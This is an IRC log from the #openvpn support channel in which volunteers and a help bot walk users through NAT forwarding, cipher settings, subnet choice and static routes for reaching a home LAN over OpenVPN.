18:37 < SuperGauntlet> I already have that forwarding on apparently
18:39 < SuperGauntlet> It works, thanks!
18:40 <@krzee> yw =]
18:41 < SuperGauntlet> I like how there's no username/pw involved, all you need is the client config and certs/keys
18:41 < benkay> i'm beginning to get it krzee, rob0 (thanks for your patience and explanations, by the way). so for an encrypted connection I connect to the server's public ip and then ssh to the VPN server id?
18:42 <@krzee> you connect to the vpn, then use whatever you want on the servers vpn ip
18:43 <@krzee> for example, if the server runs smtp, to connect to smtp over the vpn you must have the smtp server listening on the vpn ip and connect to that
18:43 < benkay> awesome.
18:47 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has joined #openvpn
18:47 < benkay> so then in a situation where I route all of my local traffic through the vpn interface which connects to the vpn server's public ip, how do I then pass it out to the greater internet at large?
18:47 -!- Matir [~matir@ubuntu/member/matir] has quit [Read error: Operation timed out]
18:47 < benkay> oh, unbreak firewall.
18:48 <@krzee> benkay, we just helped SuperGauntlet do that above ^
18:49 < SuperGauntlet> they aren't joking when they say it's a firewall issue
18:49 < benkay> thanks :)
18:49 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
18:59 -!- raidz is now known as raidz_away
19:08 < benkay> !nat
19:08 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
19:08 < benkay> !linnat
19:08 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
19:11 < benkay> wtf masquerade?
19:15 -!- benkay [~benkay@130.sub-97-50-230.myvzw.com] has quit [Ping timeout: 245 seconds]
19:16 < SuperGauntlet> Yeah I've never heard of that command before either
19:16 -!- benkay [~benkay@130.sub-97-50-230.myvzw.com] has joined #openvpn
19:17 < SuperGauntlet> Did it work?
19:20 < benkay> we'll see.
19:23 < benkay> hello world?
19:23 < benkay> !help
19:23 < benkay> !welcome
19:23 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
19:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:23 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:23 < benkay> whoa.
19:23 < benkay> so apparently things were going out but no traffic was coming back in?
19:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:25 < benkay> !interface
19:25 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
19:25 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
19:31 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:36 < benkay> no, it did not work.
19:41 -!- benkay [~benkay@130.sub-97-50-230.myvzw.com] has quit [Ping timeout: 264 seconds]
19:43 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 260 seconds]
19:44 -!- cosmicgate [~root@sugest.me.what.to.do.with.wildfirevpn.com] has joined #openvpn
19:52 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
19:53 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has joined #openvpn
19:53 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
19:58 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
19:58 < benedikt> How do i create an intermediary CA under the root ca that ./build-ca creates?
19:59 < benedikt> In short I want a CA structure like Root CA -> Intermediary CA -> Server -> Clients
19:59 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
20:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
20:00 -!- Denial- is now known as Denial
20:01 < benedikt> nevermind
20:01 < benedikt> (pkitool)(
20:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
20:21 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
20:21 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
20:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:21 -!- mode/#openvpn [+o krzee] by ChanServ
20:24 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:31 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
20:31 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:32 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
20:36 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
20:37 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:43 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
20:44 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:49 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 246 seconds]
20:50 -!- catsup [~d@64.111.123.163] has joined #openvpn
20:51 < benedikt> If i have two vpn servers, both have their key signed by the same ca.
20:52 -!- benedikt [~benedikt@unaffiliated/benedikt] has left #openvpn []
20:55 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
20:56 -!- matsh [divine@nanogene.org] has joined #openvpn
20:57 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:00 -!- p3rror [~mezgani@196.201.78.139] has joined #openvpn
21:03 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
21:03 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:09 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
21:09 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:14 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 240 seconds]
21:16 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:17 -!- p3rror [~mezgani@196.201.78.139] has quit [Quit: Leaving]
21:22 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
21:22 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:27 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
21:27 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 252 seconds]
21:28 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
21:29 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:29 -!- epochwolf [~root@unaffiliated/epochwolf] has joined #openvpn
21:32 -!- epochwolf [~root@unaffiliated/epochwolf] has left #openvpn ["Textual IRC Client: http://www.textualapp.com/"]
21:34 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
21:35 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:41 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
21:41 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:46 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
21:46 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 240 seconds]
21:47 -!- SuperGauntlet [~supergaun@d14-69-67-219.try.wideopenwest.com] has quit [Quit: Leaving]
21:48 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:54 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
21:54 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:00 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
22:01 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:05 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
22:06 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
22:07 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:08 -!- tekzilla [~jon@24.134.142.157] has quit [Ping timeout: 264 seconds]
22:09 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
22:14 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
22:14 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:18 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:18 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
22:19 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
22:20 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:26 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
22:27 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:28 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has joined #openvpn
22:28 < civillian> Hi all
22:28 < civillian> I'm getting this: Cipher algorithm 'DHE-RSA-AES256-SHA' not found (OpenSSL)
22:28 < civillian> Despite that being listed in openssl ciphers -v
22:28 < civillian> any tips?
22:30 < Poster> was openvpn compiled against a different version of openssl?
22:30 < civillian> These are debian packages, pre-built
22:32 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
22:32 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:33 < Poster> does tls-cipher EDH-RSA-DES-CBC3-SHA work?
22:33 < civillian> I'm just using the cipher directive, should i use tls-cipher?
22:33 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:33 < Poster> oh, try cipher
22:34 < civillian> doesn't work, same error Cipher algorithm 'EDH-RSA-DES-CBC3-SHA' not found (OpenSSL)
22:34 < Poster> is the client trying to force that?
22:35 < civillian> this is just me trying to restart the server process
22:35 < civillian> it won't start with these cipher settings
22:35 < Poster> maybe try both cipher and tls-cipher
22:35 < Poster> I've not encountered what you describe
22:36 < civillian> I used AES-256-CBC previously
22:36 < civillian> that was OK
22:36 < civillian> is there any issue staying with that one?
22:36 < Poster> not that I am aware of, though I am pretty oblivious to the different cipher types
22:37 < civillian> strangely this worked:
22:37 < civillian> cipher AES-256-CBC
22:37 < civillian> tls-cipher DHE-RSA-AES256-SHA
22:37 < civillian> both directives in there
22:38 < Poster> ok cool
22:39 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
22:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
22:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
22:40 -!- mode/#openvpn [+o vpnHelper] by ChanServ
22:40 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:41 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has quit [Quit: Linkinus - http://linkinus.com]
22:41 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
22:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:43 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
22:44 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has quit [Quit: you see it's not the blood you spill that gets you what you want. it's the blood you share. your family. your friendships. your community. these are the most valuable things a man can have.]
22:44 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:44 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has joined #openvpn
22:50 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
22:50 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:55 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 246 seconds]
22:56 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:59 < pekster> civillian: You're confusing --cipher with --tls-cipher
23:00 < pekster> civillian: --show-tls shows you a list of "cipher-suites" used to negotiate the control thannel. --show-ciphers shows you options for the symmetric cipher used to secure the data channel. They're different components, and use different options
23:01 < pekster> (and related is --show-digests that shows you hashing digests that you can set for the --auth option)
23:02 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
23:03 -!- catsup [~d@64.111.123.163] has joined #openvpn
23:09 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
23:10 -!- catsup [~d@64.111.123.163] has joined #openvpn
23:15 -!- Wulf4 [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
23:16 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
23:18 -!- catsup [~d@64.111.123.163] has joined #openvpn
23:19 -!- epochwolf [~root@unaffiliated/epochwolf] has joined #openvpn
23:23 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
23:24 -!- catsup [~d@64.111.123.163] has joined #openvpn
23:29 -!- xbanux [~xbanux@triband-mum-59.182.163.226.mtnl.net.in] has joined #openvpn
23:29 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
23:31 -!- catsup [~d@64.111.123.163] has joined #openvpn
23:33 -!- xbanux [~xbanux@triband-mum-59.182.163.226.mtnl.net.in] has quit [Read error: Connection reset by peer]
23:34 -!- xbanux [~xbanux@triband-mum-59.182.174.78.mtnl.net.in] has joined #openvpn
23:38 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
23:38 -!- catsup [~d@64.111.123.163] has joined #openvpn
23:43 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
23:45 -!- catsup [~d@64.111.123.163] has joined #openvpn
--- Day changed Fri Mar 22 2013
00:04 -!- xbanux [~xbanux@triband-mum-59.182.174.78.mtnl.net.in] has quit [Ping timeout: 260 seconds]
00:05 -!- xbanux [~xbanux@triband-mum-59.182.176.198.mtnl.net.in] has joined #openvpn
00:16 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
00:17 -!- mode/#openvpn [+o EugeneKay] by ChanServ
00:19 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
00:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:50 -!- catsup [d@64.111.123.163] has joined #openvpn
00:55 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 252 seconds]
00:55 -!- catsup [d@64.111.123.163] has joined #openvpn
01:01 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 264 seconds]
01:02 -!- catsup [d@64.111.123.163] has joined #openvpn
01:03 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:07 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 256 seconds]
01:08 -!- catsup [d@64.111.123.163] has joined #openvpn
01:10 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 264 seconds]
01:12 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
01:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
01:12 -!- mode/#openvpn [+o krzee] by ChanServ
01:14 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 256 seconds]
01:14 -!- catsup [d@64.111.123.163] has joined #openvpn
01:20 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 255 seconds]
01:21 -!- catsup [d@64.111.123.163] has joined #openvpn
01:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving]
01:24 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
01:24 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
01:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
01:24 -!- mode/#openvpn [+o krzee] by ChanServ
01:26 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 264 seconds]
01:27 -!- catsup [d@64.111.123.163] has joined #openvpn
01:32 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 245 seconds]
01:33 -!- catsup [d@64.111.123.163] has joined #openvpn
01:39 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 264 seconds]
01:40 -!- catsup [d@64.111.123.163] has joined #openvpn
01:43 -!- xbanux [~xbanux@triband-mum-59.182.176.198.mtnl.net.in] has quit [Ping timeout: 260 seconds]
01:45 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 256 seconds]
01:46 -!- catsup [d@64.111.123.163] has joined #openvpn
01:52 -!- catsup [d@64.111.123.163] has quit [Ping timeout: 260 seconds]
01:52 -!- catsup [d@64.111.123.163] has joined #openvpn
01:59 -!- catsup [d@64.111.123.163] has quit [Read error: Connection reset by peer]
01:59 -!- catsup [d@64.111.123.163] has joined #openvpn
02:05 -!- catsup [d@64.111.123.163] has quit [Read error: Connection reset by peer]
02:05 -!- mode/#openvpn [+b *!*d@64.111.123.163] by krzee
02:10 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
02:30 -!- Cpt-Oblivious is now known as Cpt-Oblivious|af
02:31 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
02:32 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
02:32  * EugeneKay yawns
02:54 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
02:55 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
02:59 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Read error: Connection reset by peer]
03:00 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
03:02 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
03:04 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:17 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
03:21 -!- adasdasdasd [~root@sugest.me.what.to.do.with.wildfirevpn.com] has joined #openvpn
03:23 -!- cosmicgate [~root@sugest.me.what.to.do.with.wildfirevpn.com] has quit [Ping timeout: 255 seconds]
03:30 -!- cippaciong [~cippacion@95.236.151.104] has joined #openvpn
03:31 < cippaciong> hello
03:32 < cippaciong> I'm trying to understand how to properly use routing in openvpn
03:32 < cippaciong> but there are some thing I can't understand
03:34 < cippaciong> I have a LAN whit ip 192.168.0.X where I have the opnvpn server
03:34 < cippaciong> which has ips 192.168.0.9 ant tun0 10.8.0.1
03:35 < cippaciong> I use port 1194 and I forwarded the requests to this port to 192.168.0.9 using my router interface
03:35 < cippaciong> (a user-end netgear router)
03:36 < cippaciong> I can connect to the vpn and ping the server using 10.8.0.1 but not 192.168.0.9
03:37 < cippaciong> My goal is to be able to acces the LAN PCs thorugh the remote client
03:39 < cippaciong> the hard part is that I can't understand what has to be set on the server and what in the router interface
03:43 -!- Orbi [~opera@anon-163-206.vpn.ipredator.se] has joined #openvpn
03:52 -!- adasdasdasd [~root@sugest.me.what.to.do.with.wildfirevpn.com] has quit [Ping timeout: 256 seconds]
03:52 -!- tcamuso_ [~tcamuso@pool-71-161-82-88.cncdnh.east.myfairpoint.net] has quit [Read error: Operation timed out]
04:05 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
04:06 < jzaw> cippaciong, use a non conflicting subnet on the remote lan ... ie 192.168.1.x
04:07 < jzaw> and set up routes  so any host at the server end knows how to reach any host at the client end
04:07 < jzaw> and vice versa
04:11 < cippaciong> jzaw: actually I don't need server lan hosts to reach client lan hosts
04:11 < cippaciong> I only need client to reach server lan hosts
04:12 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 258 seconds]
04:15 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
04:23 < pppingme> cippaciong did you get everything worked out?
04:24 < cippaciong> nope
04:25 < pppingme> are you doing tap or tun interfaces on the vpn?
04:25 < cippaciong> tun
04:25 < pppingme> and your goal is to reach stuff on your network from the vpn clients, right?
04:25 < cippaciong> exactly
04:26 < pppingme> ok, I'm going to guess there's two adjustments you need to make, but let me understand a couple things first..
04:26 < pppingme> you're using the default 10.8.x.x ip range for vpn clients?
04:26 < cippaciong> yes
04:26 < pppingme> and whats the ip range on your lan?
04:27 < cippaciong> 192.168.0.X
04:27 < cippaciong> but I have dhcp enabled only from 192.168.30 to .255
04:27 < pppingme> ok, I would HIGHLY recommend you change that, but we can work with that if its a problem.
04:27 < cippaciong> from 1 to 30 I use static ips
04:28 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
04:28 < cippaciong> I'm all ears
04:28 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
04:28 < pppingme> the reason is, if you take your laptop to another place that uses 192.168.0.x, it can cause confusion for your laptop
04:28 < pppingme> but thats not one of the two changes I would recommend..
04:28 < pppingme> wait, I phrased that poorly...
04:28 < pppingme> thats not one of the two changes we need to make...
04:29 < pppingme> so do you want to "fix" that before we go further or leave it as it is for now?
04:29 -!- Cpt-Oblivious|af [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
04:29 < cippaciong> how should I fix it?
04:30 < pppingme> how well do you know your router?
04:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:30 < cippaciong> average
04:30 < cippaciong> I mean, do you want me to change the ip class for my lan?
04:30 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
04:31 < pppingme> class is a bad word..
04:31 < cippaciong> wops
04:31 < pppingme> but the goal is to move away from the 192.168.x.x ranges
04:31 < cippaciong> towards what?
04:31 < cippaciong> 10.x.x.x?
04:32 < pppingme> If you're using 10.8.0.x on the vpn, then I'd probably use somethign like 10.8.10.x with a netmask of 255.255.255.0 on the lan, so your router would be 10.8.10.1 and your static ip machines would be 10.8.10.2-30 like they are now, and your dhcp starts above that and goes as far as you want
04:33 < pppingme> you're doing dhcp on the router, right?
04:34 < cippaciong> yes
04:34 < pppingme> ok
04:34 < jzaw> this is fun .... itll just give you a suggestion
04:34 < jzaw> http://scarydevilmonastery.net/subnet.cgi
04:34 <@vpnHelper> Title: subnet suggestor (at scarydevilmonastery.net)
04:34 < pppingme> does everything I just said make sense?
04:35 < jzaw> refresh that page if you dont like the suggested subnet
04:36 <@EugeneKay> If you really want to avoid subnet clashes, use something out of 172.16.0.0/12
04:36 < pppingme> I've come across more 172.16/12 networks than 10/8 networks, I duno if thats a fluke or more common sense net-admins..
04:37  * jzaw hopes its the latter ;)
04:37 < pppingme> I guess I only work with smart people :)
04:37 < pppingme> when I do come across 10.x.x.x networks, they are almost always using an 8 bit mask..  and yes, I always fix that
04:39 <@EugeneKay> Using the maximum mask size is so stupid.
04:40 -!- cippaciong [~cippacion@95.236.151.104] has quit [Read error: Operation timed out]
04:40 < pppingme> with that argument you could say most home users should use /29 or /28, maybe /27 if they have a lot of stuff
04:40 <@EugeneKay> Minimum mask size is also stupid
04:41 < pppingme> I'll admit for single networks I always use a /24 mostly out of lazyness
04:41 <@EugeneKay> I reserve a /16 out of 10/8 for each of my "sites"; each LAN gets a /20; and then each static box gets a /28. It's a bit oversized, but it has it's merits
04:41 <@EugeneKay> DHCP gets its own /24, which means my rDNS zones can be "clean" except for that one.
04:41 < jzaw> im curious what my Polish cable operator is doing when i have a pub ip    and the 3rd hop i
04:42 < jzaw> is
04:42 < jzaw>  3. 172.20.0.4                                             0.0%     8   16.4  17.9  14.4  23.2   2.7
04:42 <@EugeneKay> And for boxes which need >1 IP I don't have to make them non-contiguous.
04:42 < pppingme> they have a router that doesn't have a public ip for whatever erason
04:42 <@EugeneKay> It's possible to route traffic carrying public IPs over RFC1918
04:42 < jzaw> yeah
04:42 <@EugeneKay> It saves you a few addresses
04:43 < pppingme> if a box doesn't need to be directly addressed from the 'net (even if it does carry traffic) there's technical need for a public ip, although many would argue thats wrong
04:43 < jzaw> unnecessary in the eu id have said
04:43 < pppingme> wrong being bad practice, not wrong in a way that breaks things
04:45 < jzaw> being as i know who runs the network id say they do a lot of bad practice
04:45 -!- C-S-B [~C-S-B@86.171.238.234] has quit [Ping timeout: 245 seconds]
04:55 -!- C-S-B [~C-S-B@host86-144-219-44.range86-144.btcentralplus.com] has joined #openvpn
04:56 -!- cippaciong [~cippacion@95.236.151.104] has joined #openvpn
04:59 < pppingme> you're back
05:00 -!- C-S-B [~C-S-B@host86-144-219-44.range86-144.btcentralplus.com] has quit [Ping timeout: 245 seconds]
05:01 -!- cippaciong [~cippacion@95.236.151.104] has quit [Read error: Operation timed out]
05:02 <@EugeneKay> No I'm not.
05:08 -!- dazo_afk is now known as dazo
05:13 -!- cippaciong [~cippacion@95.236.151.104] has joined #openvpn
05:13 < cippaciong> pppingme: I should be back :)
05:18 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
05:19 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
05:26 -!- xbanux [~xbanux@triband-mum-59.182.133.84.mtnl.net.in] has joined #openvpn
05:35 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
05:37 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
05:40 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:40 -!- tcamuso_ [tcamuso@nat/redhat/x-hljszfqzgrogsjjn] has joined #openvpn
06:07 -!- Orbi [~opera@anon-163-206.vpn.ipredator.se] has left #openvpn []
06:12 < pppingme> cippaciong hey
06:12 < pppingme> just saw ya
06:13 < cippaciong> I'm here
06:13 < pppingme> did you get your local network renumbered to the new range?
06:14 < cippaciong> yes
06:14 < cippaciong> 10.8.10.1 is the router
06:14 < cippaciong> .2 to .30 static
06:14 < cippaciong> dhcp others
06:14 < pppingme> sweet
06:15 < pppingme> whats the ip of the openvpn server?
06:15 < cippaciong> 10.8.10.9
06:15 < pppingme> ok, and you've done the portforward?
06:15 < cippaciong> yes
06:15 < cippaciong> I'm using 1194
06:15 < pppingme> ok, one last thing you should do on your router..
06:16 < pppingme> there's a place to add static routes
06:16 < cippaciong> yep
06:16 < pppingme> you need to add a route for 10.8.0.0/24 (mask 255.255.255.0) and make its next hop or destination be the vpn server 10.8.10.9
06:17 < cippaciong> 10.8.0.0 because is the ip range I choosed in the server instance right?
06:17 < cippaciong> in server.conf
06:18 < pppingme> right (you haven't chagned that, right?)
06:18 < cippaciong> right
06:18 < cippaciong> my router config page says
06:19 < cippaciong> "destination ip"
06:19 < cippaciong> I suppose is 10.8.10.9
06:19 < pppingme> that would be the 10.8.10.9
06:19 < pppingme> right
06:19 < cippaciong> subnet
06:19 < cippaciong> 255.255.255.0
06:19 < pppingme> right
06:19 < cippaciong> and then gateway ip
06:19 < pppingme> oops, wait, I mis-stated..
06:19 < pppingme> destination ip would be 10.8.0.0
06:19 < pppingme> subnetmask would be 255.255.255.0
06:20 -!- cosmicgate [~root@sugest.me.what.to.do.with.wildfirevpn.com] has joined #openvpn
06:20 < pppingme> and gateway would be 10.8.10.9
06:20 < pppingme> my bad..
06:20 < cippaciong> ok
06:20 < cippaciong> makes more sense
06:20 < pppingme> I mis-read what you said..
06:20 -!- cosmicgate is now known as Guest79066
06:20 < cippaciong> and then I have another field
06:20 < cippaciong> called "Metric"
06:20 < pppingme> leave it at default, if it forces you to put something in, put a 1
06:20 -!- Guest79066 [~root@sugest.me.what.to.do.with.wildfirevpn.com] has left #openvpn []
06:20 < cippaciong> ok
06:21 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
06:21 < cippaciong> mmm
06:22 < cippaciong> In the guide says that metric shuold be in a range of 1-15
06:22 < pppingme> mmm??
06:22 < cippaciong> but if I put 1
06:22 < pppingme> your router guide?  you're setting it to 1 if it doesn't have a default
06:22 < cippaciong> yes, I have a brief guide in a lateral panel
06:22 < cippaciong> but if I set 1 it says
06:23 < cippaciong> "not between 2 - 15"
06:23 < pppingme> hmm..  ok, use 2..
06:23 < cippaciong> worked
06:24 < pppingme> you haven't already added a route for 10.8.0.0 for another reason have you?
06:24 < cippaciong> oh, there was also an option to make it private
06:24 < cippaciong> I left it unchecked
06:24 < pppingme> hmm..  not even sure what that would do, must be some vendor specific thing
06:24 < cippaciong> it's to limit the access to LAN pc only
06:26 < pppingme> ok, I probably wouldn't check it
06:26 < cippaciong> ok
06:26 < pppingme> is your vpn server a linux box?
